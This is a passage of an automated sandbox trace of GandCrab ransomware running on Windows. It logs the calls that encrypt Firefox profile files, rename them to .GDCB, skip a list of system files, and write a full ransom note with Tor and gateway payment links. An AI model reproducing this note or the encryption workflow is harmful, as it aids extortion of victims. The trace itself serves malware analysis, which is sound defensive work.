[0057.444] CryptGenRandom (in: hProv=0x5900a0, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0057.444] CryptReleaseContext (hProv=0x5900a0, dwFlags=0x0) returned 1 [0057.444] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.444] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0057.445] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0057.445] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58ff08) returned 1 [0057.447] CryptImportKey (in: hProv=0x58ff08, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5dd048) returned 1 [0057.447] CryptGetKeyParam (in: hKey=0x5dd048, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0057.447] CryptEncrypt (in: hKey=0x5dd048, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0057.448] GetLastError () returned 0x0 [0057.448] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0057.448] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58fc60) returned 1 [0057.450] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5dd648) returned 1 [0057.450] CryptGetKeyParam (in: hKey=0x5dd648, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0057.450] CryptEncrypt (in: hKey=0x5dd648, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0057.450] GetLastError () returned 0x0 [0057.450] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0057.450] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\revocations.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0057.450] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0057.451] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0057.451] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x53a6, lpOverlapped=0x0) returned 1 [0057.462] VirtualAlloc (lpAddress=0x0, dwSize=0x53b0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0057.463] VirtualAlloc (lpAddress=0x0, dwSize=0x53b0, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0057.463] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.464] SetFilePointer (in: hFile=0x504, lDistanceToMove=-21414, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.464] WriteFile (in: hFile=0x504, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x53b0, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285e820*=0x53b0, lpOverlapped=0x0) returned 1 [0057.464] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.464] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.469] WriteFile (in: hFile=0x504, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0057.469] WriteFile (in: hFile=0x504, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0057.469] WriteFile (in: hFile=0x504, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0057.469] CloseHandle (hObject=0x504) returned 1 [0057.470] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.470] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.470] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.471] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\revocations.txt"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\revocations.txt.gdcb")) returned 1 [0057.471] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.471] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.472] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0057.472] lstrcmpW (lpString1="saved-telemetry-pings", lpString2=".") returned 1 [0057.472] lstrcmpW (lpString1="saved-telemetry-pings", lpString2="..") returned 1 [0057.472] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="saved-telemetry-pings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings" [0057.472] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\" [0057.472] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.472] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0057.472] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0057.472] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0057.472] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0057.472] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.472] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\") returned 102 [0057.472] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\*" [0057.472] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5dd148 [0057.480] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0057.480] FindNextFileW (in: hFindFile=0x5dd148, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0057.480] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0057.480] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0057.480] FindNextFileW (in: hFindFile=0x5dd148, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0057.480] lstrcmpW (lpString1="d896fec9-1a7a-4db1-a3a2-e46d95b631a5", lpString2=".") returned 1 [0057.480] lstrcmpW (lpString1="d896fec9-1a7a-4db1-a3a2-e46d95b631a5", lpString2="..") returned 1 [0057.480] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\", lpString2="d896fec9-1a7a-4db1-a3a2-e46d95b631a5" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\d896fec9-1a7a-4db1-a3a2-e46d95b631a5") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\d896fec9-1a7a-4db1-a3a2-e46d95b631a5" [0057.480] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\d896fec9-1a7a-4db1-a3a2-e46d95b631a5") returned 138 [0057.480] lstrcmpW (lpString1=".default\\saved-telemetry-pings\\d896fec9-1a7a-4db1-a3a2-e46d95b631a5", lpString2=".sql") returned -1 [0057.480] FindNextFileW (in: hFindFile=0x5dd148, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0057.480] FindClose (in: hFindFile=0x5dd148 | out: hFindFile=0x5dd148) returned 1 [0057.480] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.481] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\\\GDCB-DECRYPT.txt") returned 119 [0057.481] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\saved-telemetry-pings\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0057.484] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0057.484] WriteFile (in: hFile=0x504, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e5dc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e5dc*=0xad6, lpOverlapped=0x0) returned 1 [0057.485] CloseHandle (hObject=0x504) returned 1 [0057.485] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.485] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\") returned 102 [0057.485] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\*" [0057.485] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5dd248 [0057.485] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0057.485] FindNextFileW (in: hFindFile=0x5dd248, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0057.485] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0057.485] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0057.485] FindNextFileW (in: hFindFile=0x5dd248, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0057.485] lstrcmpW (lpString1="d896fec9-1a7a-4db1-a3a2-e46d95b631a5", lpString2=".") returned 1 [0057.485] lstrcmpW (lpString1="d896fec9-1a7a-4db1-a3a2-e46d95b631a5", lpString2="..") returned 1 [0057.485] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\", lpString2="d896fec9-1a7a-4db1-a3a2-e46d95b631a5" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\d896fec9-1a7a-4db1-a3a2-e46d95b631a5") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\d896fec9-1a7a-4db1-a3a2-e46d95b631a5" [0057.485] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.486] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\d896fec9-1a7a-4db1-a3a2-e46d95b631a5") returned 138 [0057.486] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\d896fec9-1a7a-4db1-a3a2-e46d95b631a5") returned 138 [0057.486] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.486] FindNextFileW (in: hFindFile=0x5dd248, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0057.486] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0057.486] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0057.486] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\GDCB-DECRYPT.txt" [0057.486] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.486] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\GDCB-DECRYPT.txt") returned 118 [0057.486] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\GDCB-DECRYPT.txt") returned 118 [0057.486] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\GDCB-DECRYPT.txt") returned 118 [0057.486] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\GDCB-DECRYPT.txt") returned 118 [0057.486] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0057.486] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0057.486] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0057.486] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0057.486] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0057.486] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0057.486] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0057.486] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0057.486] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0057.486] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.486] FindNextFileW (in: hFindFile=0x5dd248, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0057.486] FindClose (in: hFindFile=0x5dd248 | out: hFindFile=0x5dd248) returned 1 [0057.487] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0057.487] lstrcmpW (lpString1="search.json.mozlz4", lpString2=".") returned 1 [0057.487] lstrcmpW (lpString1="search.json.mozlz4", lpString2="..") returned 1 [0057.487] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="search.json.mozlz4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\search.json.mozlz4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\search.json.mozlz4" [0057.487] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.487] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\search.json.mozlz4") returned 98 [0057.487] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\search.json.mozlz4") returned 98 [0057.487] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.487] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0057.487] lstrcmpW (lpString1="secmod.db", lpString2=".") returned 1 [0057.487] lstrcmpW (lpString1="secmod.db", lpString2="..") returned 1 [0057.487] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="secmod.db" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db" [0057.487] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.487] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db") returned 89 [0057.487] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db") returned 89 [0057.487] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db") returned 89 [0057.487] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db") returned 89 [0057.487] lstrcmpiW (lpString1="secmod.db", lpString2="desktop.ini") returned 1 [0057.487] lstrcmpiW (lpString1="secmod.db", lpString2="autorun.inf") returned 1 [0057.487] lstrcmpiW (lpString1="secmod.db", lpString2="ntuser.dat") returned 1 [0057.487] lstrcmpiW (lpString1="secmod.db", lpString2="iconcache.db") returned 1 [0057.487] lstrcmpiW (lpString1="secmod.db", lpString2="bootsect.bak") returned 1 [0057.487] lstrcmpiW (lpString1="secmod.db", lpString2="boot.ini") returned 1 [0057.487] lstrcmpiW (lpString1="secmod.db", lpString2="ntuser.dat.log") returned 1 [0057.487] lstrcmpiW (lpString1="secmod.db", lpString2="thumbs.db") returned -1 [0057.487] lstrcmpiW (lpString1="secmod.db", lpString2="GDCB-DECRYPT.txt") returned 1 [0057.487] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\secmod.db")) returned 0x20 [0057.517] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db", dwFileAttributes=0x20) returned 1 [0057.518] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0057.518] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db" [0057.518] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db.GDCB" [0057.518] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0057.518] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0057.519] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0057.519] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0057.519] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0057.519] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0057.519] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.519] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0057.519] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0057.520] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0057.520] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0057.520] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0057.520] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0057.520] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.520] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0057.520] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0057.520] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58ff08) returned 1 [0057.522] CryptImportKey (in: hProv=0x58ff08, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5dd588) returned 1 [0057.522] CryptGetKeyParam (in: hKey=0x5dd588, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0057.523] CryptEncrypt (in: hKey=0x5dd588, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0057.523] GetLastError () returned 0x0 